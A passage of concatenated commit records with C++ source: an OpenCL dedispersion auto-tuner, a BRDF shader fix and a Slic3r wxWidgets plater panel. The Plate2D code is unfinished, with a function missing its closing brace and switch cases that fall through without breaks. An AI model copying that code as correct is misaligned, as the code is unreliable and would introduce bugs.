... -max_threads ... -max_items ... -max_unroll ... -max_loopsize ... -max_columns ... -max_rows ... -thread_increment ... -min_freq ... -channel_bandwidth ... -samples ... -channels ... -dms ... -dm_first ... -dm_step ...\" << std::endl;\n\t\treturn 1;\n\t} catch ( std::exception & err ) {\n\t\tstd::cerr << err.what() << std::endl;\n\t\treturn 1;\n\t}\n\n \/\/ Allocate host memory\n std::vector< float > * shifts = PulsarSearch::getShifts(observation);\n if ( conf.getSplitSeconds() ) {\n if ( (observation.getNrSamplesPerSecond() + static_cast< unsigned int >(shifts->at(0) * (observation.getFirstDM() + ((observation.getNrDMs() - 1) * observation.getDMStep())))) % observation.getNrSamplesPerSecond() == 0 ) {\n splitSeconds = (observation.getNrSamplesPerSecond() + static_cast< unsigned int >(shifts->at(0) * (observation.getFirstDM() + ((observation.getNrDMs() - 1) * observation.getDMStep())))) \/ observation.getNrSamplesPerSecond();\n } else {\n splitSeconds = ((observation.getNrSamplesPerSecond() + static_cast< unsigned int >(shifts->at(0) * (observation.getFirstDM() + ((observation.getNrDMs() - 1) * observation.getDMStep())))) \/ observation.getNrSamplesPerSecond()) + 1;\n }\n } else {\n observation.setNrSamplesPerDispersedChannel(observation.getNrSamplesPerSecond() + static_cast< unsigned int >(shifts->at(0) * (observation.getFirstDM() + ((observation.getNrDMs() - 1) * observation.getDMStep()))));\n }\n\n\t\/\/ Initialize OpenCL\n\tcl::Context clContext;\n\tstd::vector< cl::Platform > * clPlatforms = new std::vector< cl::Platform >();\n\tstd::vector< cl::Device > * clDevices = new std::vector< cl::Device >();\n\tstd::vector< std::vector< cl::CommandQueue > > * clQueues = new std::vector< std::vector < cl::CommandQueue > >();\n isa::OpenCL::initializeOpenCL(clPlatformID, 1, clPlatforms, &clContext, clDevices, clQueues);\n\n\t\/\/ Allocate device memory\n cl::Buffer shifts_d;\n cl::Buffer dispersedData_d;\n cl::Buffer dedispersedData_d;\n\n try {\n if ( conf.getSplitSeconds() ) {\n initializeDeviceMemory(clContext, &(clQueues->at(clDeviceID)[0]), shifts, &shifts_d, &dispersedData_d, splitSeconds * observation.getNrChannels() * observation.getNrSamplesPerPaddedSecond(), &dedispersedData_d, observation.getNrDMs() * observation.getNrSamplesPerPaddedSecond());\n } else {\n initializeDeviceMemory(clContext, &(clQueues->at(clDeviceID)[0]), shifts, &shifts_d, &dispersedData_d, observation.getNrChannels() * observation.getNrSamplesPerDispersedChannel(), &dedispersedData_d, observation.getNrDMs() * observation.getNrSamplesPerPaddedSecond());\n }\n } catch ( cl::Error & err ) {\n std::cerr << err.what() << std::endl;\n return -1;\n }\n\n\t\/\/ Find the parameters\n\tstd::vector< unsigned int > samplesPerBlock;\n\tfor ( unsigned int samples = minThreads; samples <= maxColumns; samples += threadIncrement ) {\n\t\tif ( (observation.getNrSamplesPerSecond() % samples) == 0 || (observation.getNrSamplesPerPaddedSecond() % samples) == 0 ) {\n\t\t\tsamplesPerBlock.push_back(samples);\n\t\t}\n\t}\n\tstd::vector< unsigned int > DMsPerBlock;\n\tfor ( unsigned int DMs = 1; DMs <= maxRows; DMs++ ) {\n\t\tif ( (observation.getNrDMs() % DMs) == 0 ) {\n\t\t\tDMsPerBlock.push_back(DMs);\n\t\t}\n\t}\n\n\tstd::cout << std::fixed << std::endl;\n\tstd::cout << \"# nrDMs nrChannels nrSamples splitSeconds local unroll samplesPerBlock DMsPerBlock samplesPerThread DMsPerThread GFLOP\/s time stdDeviation COV\" << std::endl << std::endl;\n\n\tfor ( std::vector< unsigned int >::iterator samples = samplesPerBlock.begin(); samples != samplesPerBlock.end(); ++samples ) {\n conf.setNrSamplesPerBlock(*samples);\n\n\t\tfor ( std::vector< unsigned int >::iterator DMs = DMsPerBlock.begin(); DMs != DMsPerBlock.end(); ++DMs ) {\n conf.setNrDMsPerBlock(*DMs);\n\t\t\tif ( conf.getNrSamplesPerBlock() * conf.getNrDMsPerBlock() > maxThreads ) {\n\t\t\t\tbreak;\n\t\t\t} else if ( (conf.getNrSamplesPerBlock() * conf.getNrDMsPerBlock()) % threadUnit != 0 ) {\n continue;\n }\n\n\t\t\tfor ( unsigned int samplesPerThread = 1; samplesPerThread <= maxItems; samplesPerThread++ ) {\n conf.setNrSamplesPerThread(samplesPerThread);\n\t\t\t\tif ( (observation.getNrSamplesPerSecond() % (conf.getNrSamplesPerBlock() * conf.getNrSamplesPerThread())) != 0 && (observation.getNrSamplesPerPaddedSecond() % (conf.getNrSamplesPerBlock() * conf.getNrSamplesPerThread())) != 0 ) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\tfor ( unsigned int DMsPerThread = 1; DMsPerThread <= maxItems; DMsPerThread++ ) {\n conf.setNrDMsPerThread(DMsPerThread);\n\t\t\t\t\tif ( (observation.getNrDMs() % (conf.getNrDMsPerBlock() * conf.getNrDMsPerThread())) != 0 ) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t} else if ( (conf.getNrSamplesPerThread() * conf.getNrDMsPerThread()) + conf.getNrDMsPerThread() > maxItems ) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\n for ( unsigned int unroll = 1; unroll <= maxUnroll; unroll++ ) {\n conf.setUnroll(unroll);\n if ( (observation.getNrChannels() - 1) % conf.getUnroll() != 0 ) {\n continue;\n } else if ( (conf.getNrSamplesPerThread() * conf.getNrDMsPerThread() * conf.getUnroll()) > maxLoopBodySize ) {\n break;\n }\n \/\/ Generate kernel\n double gflops = isa::utils::giga(static_cast< long long unsigned int >(observation.getNrDMs()) * observation.getNrChannels() * observation.getNrSamplesPerSecond());\n isa::utils::Timer timer;\n cl::Kernel * kernel;\n std::string * code = PulsarSearch::getDedispersionOpenCL(conf, inputBits, inputTypeName, intermediateTypeName, outputTypeName, observation, *shifts);\n\n if ( reInit ) {\n delete clQueues;\n clQueues = new std::vector< std::vector < cl::CommandQueue > >();\n isa::OpenCL::initializeOpenCL(clPlatformID, 1, clPlatforms, &clContext, clDevices, clQueues);\n try {\n initializeDeviceMemory(clContext, &(clQueues->at(clDeviceID)[0]), shifts, &shifts_d, &dispersedData_d, observation.getNrChannels() * observation.getNrSamplesPerDispersedChannel(), &dedispersedData_d, observation.getNrDMs() * observation.getNrSamplesPerPaddedSecond());\n } catch ( cl::Error & err ) {\n return -1;\n }\n reInit = false;\n }\n try {\n kernel = isa::OpenCL::compile(\"dedispersion\", *code, \"-cl-mad-enable -Werror\", clContext, clDevices->at(clDeviceID));\n } catch ( isa::OpenCL::OpenCLError & err ) {\n std::cerr << err.what() << std::endl;\n delete code;\n break;\n }\n delete code;\n\n unsigned int nrThreads = 0;\n if ( observation.getNrSamplesPerSecond() % (conf.getNrSamplesPerBlock() * conf.getNrSamplesPerThread()) == 0 ) {\n nrThreads = observation.getNrSamplesPerSecond() \/ conf.getNrSamplesPerThread();\n } else {\n nrThreads = observation.getNrSamplesPerPaddedSecond() \/ conf.getNrSamplesPerThread();\n }\n cl::NDRange global(nrThreads, observation.getNrDMs() \/ conf.getNrDMsPerThread());\n cl::NDRange local(conf.getNrSamplesPerBlock(), conf.getNrDMsPerBlock());\n\n if ( conf.getSplitSeconds() ) {\n kernel->setArg(0, 0);\n kernel->setArg(1, dispersedData_d);\n kernel->setArg(2, dedispersedData_d);\n kernel->setArg(3, shifts_d);\n } else {\n kernel->setArg(0, dispersedData_d);\n kernel->setArg(1, dedispersedData_d);\n kernel->setArg(2, shifts_d);\n }\n\n try {\n \/\/ Warm-up run\n clQueues->at(clDeviceID)[0].finish();\n clQueues->at(clDeviceID)[0].enqueueNDRangeKernel(*kernel, cl::NullRange, global, local, 0, &event);\n event.wait();\n \/\/ Tuning runs\n for ( unsigned int iteration = 0; iteration < nrIterations; iteration++ ) {\n timer.start();\n clQueues->at(clDeviceID)[0].enqueueNDRangeKernel(*kernel, cl::NullRange, global, local, 0, &event);\n event.wait();\n timer.stop();\n }\n } catch ( cl::Error & err ) {\n std::cerr << \"OpenCL error kernel execution (\";\n std::cerr << conf.print() << \"): \";\n std::cerr << isa::utils::toString(err.err()) << \".\" << std::endl;\n delete kernel;\n if ( err.err() == -4 || err.err() == -61 ) {\n return -1;\n }\n reInit = true;\n break;\n }\n delete kernel;\n\n std::cout << observation.getNrDMs() << \" \" << observation.getNrChannels() << \" \" << observation.getNrSamplesPerSecond() << \" \";\n std::cout << conf.print() << \" \";\n std::cout << std::setprecision(3);\n std::cout << gflops \/ timer.getAverageTime() << \" \";\n std::cout << std::setprecision(6);\n std::cout << timer.getAverageTime() << \" \" << timer.getStandardDeviation() << \" \";\n std::cout << timer.getCoefficientOfVariation() << std::endl;\n }\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tstd::cout << std::endl;\n\n\treturn 0;\n}\n\nvoid initializeDeviceMemory(cl::Context & clContext, cl::CommandQueue * clQueue, std::vector< float > * shifts, cl::Buffer * shifts_d, cl::Buffer * dispersedData_d, const unsigned int dispersedData_size, cl::Buffer * dedispersedData_d, const unsigned int dedispersedData_size) {\n try {\n *shifts_d = cl::Buffer(clContext, CL_MEM_READ_ONLY, shifts->size() * sizeof(float), 0, 0);\n *dispersedData_d = cl::Buffer(clContext, CL_MEM_READ_ONLY, dispersedData_size * sizeof(inputDataType), 0, 0);\n *dedispersedData_d = cl::Buffer(clContext, CL_MEM_READ_WRITE, dedispersedData_size * sizeof(outputDataType), 0, 0);\n clQueue->enqueueWriteBuffer(*shifts_d, CL_FALSE, 0, shifts->size() * sizeof(float), reinterpret_cast< void * >(shifts->data()));\n clQueue->finish();\n } catch ( cl::Error & err ) {\n std::cerr << \"OpenCL error: \" << isa::utils::toString(err.err()) << \".\" << std::endl;\n throw;\n }\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*******************************\nCopyright (C) 2013-2015 gregoire ANGERAND\n\nThis program is free software: you can redistribute it and\/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n**********************************\/\n\n#include \"DeferredCommon.h\"\n#include \"GLContext.h\"\n#include \"VertexArrayFactory.h\"\n\nnamespace n {\nnamespace graphics {\n\nconst VertexArrayObject<> &getSphere() {\n\tstatic VertexArrayObject<> *sphere = 0;\n\tif(!sphere) {\n\t\tsphere = new VertexArrayObject<>(GLContext::getContext()->getVertexArrayFactory()(TriangleBuffer<>::getSphere()));\n\t}\n\treturn *sphere;\n}\n\nconst VertexArrayObject<> &getBox() {\n\tstatic VertexArrayObject<> *box = 0;\n\tif(!box) {\n\t\tbox = new VertexArrayObject<>(GLContext::getContext()->getVertexArrayFactory()(TriangleBuffer<>::getCube()));\n\t}\n\treturn *box;\n}\n\ncore::String getBRDFs() {\n\treturn\n\t\t\t\/\/ [Walter et al. 2007, \"Microfacet models for refraction through rough surfaces\"]\n\t\t\t\"float D_GGX(float NoH, float a2) {\"\n\t\t\t\t\"float d = (NoH * a2 - NoH) * NoH + 1.0;\"\n\t\t\t\t\"return a2 \/ (pi * d * d);\"\n\t\t\t\"}\"\n\n\t\t\t\/\/ [Schlick 1994, \"An Inexpensive BRDF Model for Physically-Based Rendering\"]\n\t\t\t\"float F_Schlick(float VoH, float F0) {\"\n\t\t\t\t\"float Fc = pow(1 - VoH, 5.0);\"\n\t\t\t\t\"return Fc + (1.0 - Fc) * F0;\"\n\t\t\t\"}\"\n\n\t\t\t\"vec3 F_Schlick(float VoH, vec3 F0) {\"\n\t\t\t\t\"float Fc = pow(1 - VoH, 5.0);\"\n\t\t\t\t\"return Fc + (1.0 - Fc) * F0;\"\n\t\t\t\"}\"\n\n\t\t\t\"float V_Schlick(float NoL, float NoV, float a) {\"\n\t\t\t\t\"float k = a * 0.5;\"\n\t\t\t\t\"float GV = NoV * (1.0 - k) + k;\"\n\t\t\t\t\"float GL = NoL * (1.0 - k) + k;\"\n\t\t\t\t\"return 0.25 \/ (GL * GV + epsilon);\"\n\t\t\t\"}\"\n\n\t\t\t\"float V_Smith(float NoL, float NoV, float a2) {\"\n\t\t\t\t\"float GV = NoV + sqrt(NoV * (NoV - NoV * a2) + a2);\"\n\t\t\t\t\"float GL = NoL + sqrt(NoL * (NoL - NoL * a2) + a2);\"\n\t\t\t\t\"return 1.0 \/ (GL * GV + epsilon);\"\n\t\t\t\"}\"\n\n\t\t\t\"float V_SmithApprox(float NoL, float NoV, float a) {\"\n\t\t\t\t\"float GV = NoL * (NoV * (1.0 - a) + a);\"\n\t\t\t\t\"float GL = NoV * (NoL * (1.0 - a) + a);\"\n\t\t\t\t\"return 0.5 \/ (GV + GL + epsilon);\"\n\t\t\t\"}\"\n\n\t\t\t\"float brdf_cook_torrance(vec3 L, vec3 V, vec3 N, vec4 M) {\"\n\t\t\t\t\"vec3 H = normalize(L + V);\"\n\n\t\t\t\t\"float NoL = saturate(dot(N, L));\"\n\t\t\t\t\"float NoV = max(dot(N, V), epsilon);\"\n\t\t\t\t\"float VoH = saturate(dot(V, H));\"\n\t\t\t\t\"float NoH = saturate(dot(N, H));\"\n\n\t\t\t\t\"float roughness = saturate(M.x + epsilon);\"\n\t\t\t\t\"float a = sqr(roughness);\"\n\t\t\t\t\"float a2 = sqr(a);\"\n\n\t\t\t\t\"return \"\n\t\t\t\t\t\"F_Schlick(VoH, M.z) * \"\n\t\t\t\t\t\"D_GGX(NoH, a) * \"\n\t\t\t\t\t\"V_Schlick(NoL, NoV, a);\"\n\t\t\t\"}\"\n\n\t\t\t\"float brdf_lambert(vec3 L, vec3 V, vec3 N, vec4 M) {\"\n\t\t\t\t\"return 1.0 \/ pi;\"\n\t\t\t\"}\"\n\n\t\t\t\/\/http:\/\/blog.selfshadow.com\/publications\/s2013-shading-course\/#course_content\n\t\t\t\"vec3 brdf_importance_sample(vec2 Xi, float a) {\"\n\t\t\t\t\"float phi = 2.0 * pi * Xi.x;\"\n\t\t\t\t\"float cosT = sqrt((1.0 - Xi.y) \/ (1.0 + (a * a - 1.0) * Xi.y));\"\n\t\t\t\t\"float sinT = sqrt(1.0 - cosT * cosT);\"\n\t\t\t\t\"return vec3(sinT * cos(phi), sinT * sin(phi), cosT);\"\n\t\t\t\"}\";\n\n\n}\n\n}\n}\n<commit_msg>Fixed Schlick to match unreal roughness scale.<commit_after>\/*******************************\nCopyright (C) 2013-2015 gregoire ANGERAND\n\nThis program is free software: you can redistribute it and\/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n**********************************\/\n\n#include \"DeferredCommon.h\"\n#include \"GLContext.h\"\n#include \"VertexArrayFactory.h\"\n\nnamespace n {\nnamespace graphics {\n\nconst VertexArrayObject<> &getSphere() {\n\tstatic VertexArrayObject<> *sphere = 0;\n\tif(!sphere) {\n\t\tsphere = new VertexArrayObject<>(GLContext::getContext()->getVertexArrayFactory()(TriangleBuffer<>::getSphere()));\n\t}\n\treturn *sphere;\n}\n\nconst VertexArrayObject<> &getBox() {\n\tstatic VertexArrayObject<> *box = 0;\n\tif(!box) {\n\t\tbox = new VertexArrayObject<>(GLContext::getContext()->getVertexArrayFactory()(TriangleBuffer<>::getCube()));\n\t}\n\treturn *box;\n}\n\ncore::String getBRDFs() {\n\treturn\n\t\t\t\/\/ [Walter et al. 2007, \"Microfacet models for refraction through rough surfaces\"]\n\t\t\t\"float D_GGX(float NoH, float a2) {\"\n\t\t\t\t\"float d = (NoH * a2 - NoH) * NoH + 1.0;\"\n\t\t\t\t\"return a2 \/ (pi * d * d);\"\n\t\t\t\"}\"\n\n\t\t\t\/\/ [Schlick 1994, \"An Inexpensive BRDF Model for Physically-Based Rendering\"]\n\t\t\t\"float F_Schlick(float VoH, float F0) {\"\n\t\t\t\t\"float Fc = pow(1 - VoH, 5.0);\"\n\t\t\t\t\"return Fc + (1.0 - Fc) * F0;\"\n\t\t\t\"}\"\n\n\t\t\t\"vec3 F_Schlick(float VoH, vec3 F0) {\"\n\t\t\t\t\"float Fc = pow(1 - VoH, 5.0);\"\n\t\t\t\t\"return Fc + (1.0 - Fc) * F0;\"\n\t\t\t\"}\"\n\n\t\t\t\"float V_Schlick(float NoL, float NoV, float roughness) {\"\n\t\t\t\t\"float k = sqr((roughness + 1.0) * 0.5);\"\n\t\t\t\t\"float GV = NoV * (1.0 - k) + k;\"\n\t\t\t\t\"float GL = NoL * (1.0 - k) + k;\"\n\t\t\t\t\"return 0.25 \/ (GL * GV + epsilon);\"\n\t\t\t\"}\"\n\n\t\t\t\"float V_Smith(float NoL, float NoV, float a2) {\"\n\t\t\t\t\"float GV = NoV + sqrt(NoV * (NoV - NoV * a2) + a2);\"\n\t\t\t\t\"float GL = NoL + sqrt(NoL * (NoL - NoL * a2) + a2);\"\n\t\t\t\t\"return 1.0 \/ (GL * GV + epsilon);\"\n\t\t\t\"}\"\n\n\t\t\t\"float V_SmithApprox(float NoL, float NoV, float a) {\"\n\t\t\t\t\"float GV = NoL * (NoV * (1.0 - a) + a);\"\n\t\t\t\t\"float GL = NoV * (NoL * (1.0 - a) + a);\"\n\t\t\t\t\"return 0.5 \/ (GV + GL + epsilon);\"\n\t\t\t\"}\"\n\n\t\t\t\"float brdf_cook_torrance(vec3 L, vec3 V, vec3 N, vec4 M) {\"\n\t\t\t\t\"vec3 H = normalize(L + V);\"\n\n\t\t\t\t\"float NoL = saturate(dot(N, L));\"\n\t\t\t\t\"float NoV = max(dot(N, V), epsilon);\"\n\t\t\t\t\"float VoH = saturate(dot(V, H));\"\n\t\t\t\t\"float NoH = saturate(dot(N, H));\"\n\n\t\t\t\t\"float roughness = saturate(M.x + epsilon);\"\n\t\t\t\t\"float a = sqr(roughness);\"\n\n\t\t\t\t\"return \"\n\t\t\t\t\t\"F_Schlick(VoH, M.z) * \"\n\t\t\t\t\t\"D_GGX(NoH, a) * \"\n\t\t\t\t\t\"V_Schlick(NoL, NoV, roughness);\"\n\t\t\t\"}\"\n\n\t\t\t\"float brdf_lambert(vec3 L, vec3 V, vec3 N, vec4 M) {\"\n\t\t\t\t\"return 1.0 \/ pi;\"\n\t\t\t\"}\"\n\n\t\t\t\/\/http:\/\/blog.selfshadow.com\/publications\/s2013-shading-course\/#course_content\n\t\t\t\"vec3 brdf_importance_sample(vec2 Xi, float a) {\"\n\t\t\t\t\"float phi = 2.0 * pi * Xi.x;\"\n\t\t\t\t\"float cosT = sqrt((1.0 - Xi.y) \/ (1.0 + (a * a - 1.0) * Xi.y));\"\n\t\t\t\t\"float sinT = sqrt(1.0 - cosT * cosT);\"\n\t\t\t\t\"return vec3(sinT * cos(phi), sinT * sin(phi), cosT);\"\n\t\t\t\"}\";\n\n\n}\n\n}\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"Plater\/Plate2D.hpp\"\n\n\/\/ libslic3r includes\n#include \"Geometry.hpp\"\n#include \"Log.hpp\"\n\n\/\/ wx includes\n#include <wx\/colour.h>\n#include <wx\/dcbuffer.h>\n\nnamespace Slic3r { namespace GUI {\n\nPlate2D::Plate2D(wxWindow* parent, const wxSize& size, std::vector<Plater2DObject>& _objects, std::shared_ptr<Model> _model, std::shared_ptr<Config> _config, std::shared_ptr<Settings> _settings) :\n wxPanel(parent, wxID_ANY, wxDefaultPosition, size, wxTAB_TRAVERSAL), objects(_objects), model(_model), config(_config), settings(_settings)\n{ \n \n this->Bind(wxEVT_PAINT, [=](wxPaintEvent &e) { this->repaint(e); });\n this->Bind(wxEVT_MOTION, [=](wxMouseEvent &e) { this->mouse_drag(e); });\n if (user_drawn_background) {\n this->Bind(wxEVT_ERASE_BACKGROUND, [=](wxEraseEvent& e){ });\n }\n\n this->Bind(wxEVT_SIZE, [=](wxSizeEvent &e) { this->update_bed_size(); this->Refresh(); });\n\n \/\/ Bind the varying mouse events\n\n \/\/ Set the brushes\n set_colors();\n}\n\nvoid Plate2D::repaint(wxPaintEvent& e) {\n\n \/\/ Need focus to catch keyboard events.\n this->SetFocus();\n\n auto dc {new wxAutoBufferedPaintDC(this)};\n const auto& size = this->GetSize();\n\n\n if (this->user_drawn_background) {\n \/\/ On all systems the AutoBufferedPaintDC() achieves double buffering.\n \/\/ On MacOS the background is erased, on Windows the background is not erased \n \/\/ and on Linux\/GTK the background is erased to gray color.\n \/\/ Fill DC with the background on Windows & Linux\/GTK.\n const auto& brush_background {wxBrush(this->settings->color->BACKGROUND255(), wxBRUSHSTYLE_SOLID)};\n const auto& pen_background {wxPen(this->settings->color->BACKGROUND255(), 1, wxPENSTYLE_SOLID)};\n dc->SetPen(pen_background);\n dc->SetBrush(brush_background);\n const auto& rect {this->GetUpdateRegion().GetBox()};\n dc->DrawRectangle(rect.GetLeft(), rect.GetTop(), rect.GetWidth(), rect.GetHeight());\n }\n\n \/\/ Draw bed\n {\n dc->SetPen(this->print_center_pen);\n dc->SetBrush(this->bed_brush);\n \n dc->DrawPolygon(scaled_points_to_pixel(this->bed_polygon, true), 0, 0);\n }\n\n\n}\n\nvoid Plate2D::mouse_drag(wxMouseEvent& e) {\n if (e.Dragging()) {\n Slic3r::Log::info(LogChannel, L\"Mouse dragging\");\n } else {\n Slic3r::Log::info(LogChannel, L\"Mouse moving\");\n }\n}\n\nvoid Plate2D::set_colors() {\n\n this->SetBackgroundColour(settings->color->BACKGROUND255());\n\n this->objects_brush.SetColour(settings->color->BED_OBJECTS());\n this->objects_brush.SetStyle(wxBRUSHSTYLE_SOLID);\n this->instance_brush.SetColour(settings->color->BED_INSTANCE());\n this->instance_brush.SetStyle(wxBRUSHSTYLE_SOLID);\n this->selected_brush.SetColour(settings->color->BED_SELECTED());\n this->selected_brush.SetStyle(wxBRUSHSTYLE_SOLID);\n this->dragged_brush.SetColour(settings->color->BED_DRAGGED());\n this->dragged_brush.SetStyle(wxBRUSHSTYLE_SOLID);\n this->bed_brush.SetColour(settings->color->BED_COLOR());\n this->bed_brush.SetStyle(wxBRUSHSTYLE_SOLID);\n this->transparent_brush.SetColour(wxColour(0,0,0));\n this->transparent_brush.SetStyle(wxBRUSHSTYLE_TRANSPARENT);\n\n this->grid_pen.SetColour(settings->color->BED_GRID());\n this->grid_pen.SetWidth(1);\n this->grid_pen.SetStyle(wxPENSTYLE_SOLID);\n this->print_center_pen.SetColour(settings->color->BED_CENTER());\n this->print_center_pen.SetWidth(1);\n this->print_center_pen.SetStyle(wxPENSTYLE_SOLID);\n this->clearance_pen.SetColour(settings->color->BED_CLEARANCE());\n this->clearance_pen.SetWidth(1);\n this->clearance_pen.SetStyle(wxPENSTYLE_SOLID);\n this->skirt_pen.SetColour(settings->color->BED_SKIRT());\n this->skirt_pen.SetWidth(1);\n this->skirt_pen.SetStyle(wxPENSTYLE_SOLID);\n this->dark_pen.SetColour(settings->color->BED_DARK());\n this->dark_pen.SetWidth(1);\n this->dark_pen.SetStyle(wxPENSTYLE_SOLID);\n\n}\n\nvoid Plate2D::nudge_key(wxKeyEvent& e) {\n const auto key = e.GetKeyCode();\n\n switch( key ) {\n case WXK_LEFT:\n this->nudge(MoveDirection::Left);\n case WXK_RIGHT:\n this->nudge(MoveDirection::Right);\n case WXK_DOWN:\n this->nudge(MoveDirection::Down);\n case WXK_UP:\n this->nudge(MoveDirection::Up);\n default:\n break; \/\/ do nothing\n }\n\n}\n\nvoid Plate2D::nudge(MoveDirection dir) {\n if (this->selected_instance < this->objects.size()) {\n auto i = 0U;\n for (auto& obj : this->objects) {\n if (obj.selected()) {\n if (obj.selected_instance != -1) {\n }\n }\n i++;\n }\n }\n if (selected_instance >= this->objects.size()) { \n Slic3r::Log::warn(LogChannel, L\"Nudge failed because there is no selected instance.\");\n return; \/\/ Abort\n }\n}\n\nvoid Plate2D::update_bed_size() {\n const auto& canvas_size {this->GetSize()};\n const auto& canvas_w {canvas_size.GetWidth()};\n const auto& canvas_h {canvas_size.GetHeight()};\n if (canvas_w == 0) return; \/\/ Abort early if we haven't drawn canvas yet.\n\n this->bed_polygon = Slic3r::Polygon();\n const auto& polygon = bed_polygon;\n\n const auto& bb = bed_polygon.bounding_box();\n const auto& size = bb.size();\n\n this->scaling_factor = std::min(static_cast<double>(canvas_w) \/ unscale(size.x), \n static_cast<double>(canvas_h) \/ unscale(size.y));\n\n assert(this->scaling_factor != 0);\n\n\nstd::vector<wxPoint> Plate2D::scaled_points_to_pixel(const Slic3r::Polygon& poly, bool unscale) {\n return this->scaled_points_to_pixel(Polyline(poly), unscale);\n}\n\nstd::vector<wxPoint> Plate2D::scaled_points_to_pixel(const Slic3r::Polyline& poly, bool unscale) {\n std::vector<wxPoint> result;\n for (const auto& pt : poly.points) {\n const auto tmp {wxPoint(pt.x, pt.y)};\n result.push_back( (unscale ? unscaled_point_to_pixel(tmp) : tmp) );\n }\n return result;\n}\n} } \/\/ Namespace Slic3r::GUI\n<commit_msg>Set BackgroundStyle because wxWidgets wants us to.<commit_after>#include \"Plater\/Plate2D.hpp\"\n\n\/\/ libslic3r includes\n#include \"Geometry.hpp\"\n#include \"Log.hpp\"\n\n\/\/ wx includes\n#include <wx\/colour.h>\n#include <wx\/dcbuffer.h>\n\nnamespace Slic3r { namespace GUI {\n\nPlate2D::Plate2D(wxWindow* parent, const wxSize& size, std::vector<Plater2DObject>& _objects, std::shared_ptr<Model> _model, std::shared_ptr<Config> _config, std::shared_ptr<Settings> _settings) :\n wxPanel(parent, wxID_ANY, wxDefaultPosition, size, wxTAB_TRAVERSAL), objects(_objects), model(_model), config(_config), settings(_settings)\n{ \n \n this->Bind(wxEVT_PAINT, [=](wxPaintEvent &e) { this->repaint(e); });\n this->Bind(wxEVT_MOTION, [=](wxMouseEvent &e) { this->mouse_drag(e); });\n if (user_drawn_background) {\n this->Bind(wxEVT_ERASE_BACKGROUND, [=](wxEraseEvent& e){ });\n }\n\n this->Bind(wxEVT_SIZE, [=](wxSizeEvent &e) { this->update_bed_size(); this->Refresh(); });\n\n \/\/ Bind the varying mouse events\n\n \/\/ Set the brushes\n set_colors();\n this->SetBackgroundStyle(wxBG_STYLE_PAINT);\n}\n\nvoid Plate2D::repaint(wxPaintEvent& e) {\n\n \/\/ Need focus to catch keyboard events.\n this->SetFocus();\n\n auto dc {new wxAutoBufferedPaintDC(this)};\n const auto& size = this->GetSize();\n\n\n if (this->user_drawn_background) {\n \/\/ On all systems the AutoBufferedPaintDC() achieves double buffering.\n \/\/ On MacOS the background is erased, on Windows the background is not erased \n \/\/ and on Linux\/GTK the background is erased to gray color.\n \/\/ Fill DC with the background on Windows & Linux\/GTK.\n const auto& brush_background {wxBrush(this->settings->color->BACKGROUND255(), wxBRUSHSTYLE_SOLID)};\n const auto& pen_background {wxPen(this->settings->color->BACKGROUND255(), 1, wxPENSTYLE_SOLID)};\n dc->SetPen(pen_background);\n dc->SetBrush(brush_background);\n const auto& rect {this->GetUpdateRegion().GetBox()};\n dc->DrawRectangle(rect.GetLeft(), rect.GetTop(), rect.GetWidth(), rect.GetHeight());\n }\n\n \/\/ Draw bed\n {\n dc->SetPen(this->print_center_pen);\n dc->SetBrush(this->bed_brush);\n \n dc->DrawPolygon(scaled_points_to_pixel(this->bed_polygon, true), 0, 0);\n }\n\n\n}\n\nvoid Plate2D::mouse_drag(wxMouseEvent& e) {\n if (e.Dragging()) {\n Slic3r::Log::info(LogChannel, L\"Mouse dragging\");\n } else {\n Slic3r::Log::info(LogChannel, L\"Mouse moving\");\n }\n}\n\nvoid Plate2D::set_colors() {\n\n this->SetBackgroundColour(settings->color->BACKGROUND255());\n\n this->objects_brush.SetColour(settings->color->BED_OBJECTS());\n this->objects_brush.SetStyle(wxBRUSHSTYLE_SOLID);\n this->instance_brush.SetColour(settings->color->BED_INSTANCE());\n this->instance_brush.SetStyle(wxBRUSHSTYLE_SOLID);\n this->selected_brush.SetColour(settings->color->BED_SELECTED());\n this->selected_brush.SetStyle(wxBRUSHSTYLE_SOLID);\n this->dragged_brush.SetColour(settings->color->BED_DRAGGED());\n this->dragged_brush.SetStyle(wxBRUSHSTYLE_SOLID);\n this->bed_brush.SetColour(settings->color->BED_COLOR());\n this->bed_brush.SetStyle(wxBRUSHSTYLE_SOLID);\n this->transparent_brush.SetColour(wxColour(0,0,0));\n this->transparent_brush.SetStyle(wxBRUSHSTYLE_TRANSPARENT);\n\n this->grid_pen.SetColour(settings->color->BED_GRID());\n this->grid_pen.SetWidth(1);\n this->grid_pen.SetStyle(wxPENSTYLE_SOLID);\n this->print_center_pen.SetColour(settings->color->BED_CENTER());\n this->print_center_pen.SetWidth(1);\n this->print_center_pen.SetStyle(wxPENSTYLE_SOLID);\n this->clearance_pen.SetColour(settings->color->BED_CLEARANCE());\n this->clearance_pen.SetWidth(1);\n this->clearance_pen.SetStyle(wxPENSTYLE_SOLID);\n this->skirt_pen.SetColour(settings->color->BED_SKIRT());\n this->skirt_pen.SetWidth(1);\n this->skirt_pen.SetStyle(wxPENSTYLE_SOLID);\n this->dark_pen.SetColour(settings->color->BED_DARK());\n this->dark_pen.SetWidth(1);\n this->dark_pen.SetStyle(wxPENSTYLE_SOLID);\n\n}\n\nvoid Plate2D::nudge_key(wxKeyEvent& e) {\n const auto key = e.GetKeyCode();\n\n switch( key ) {\n case WXK_LEFT:\n this->nudge(MoveDirection::Left);\n case WXK_RIGHT:\n this->nudge(MoveDirection::Right);\n case WXK_DOWN:\n this->nudge(MoveDirection::Down);\n case WXK_UP:\n 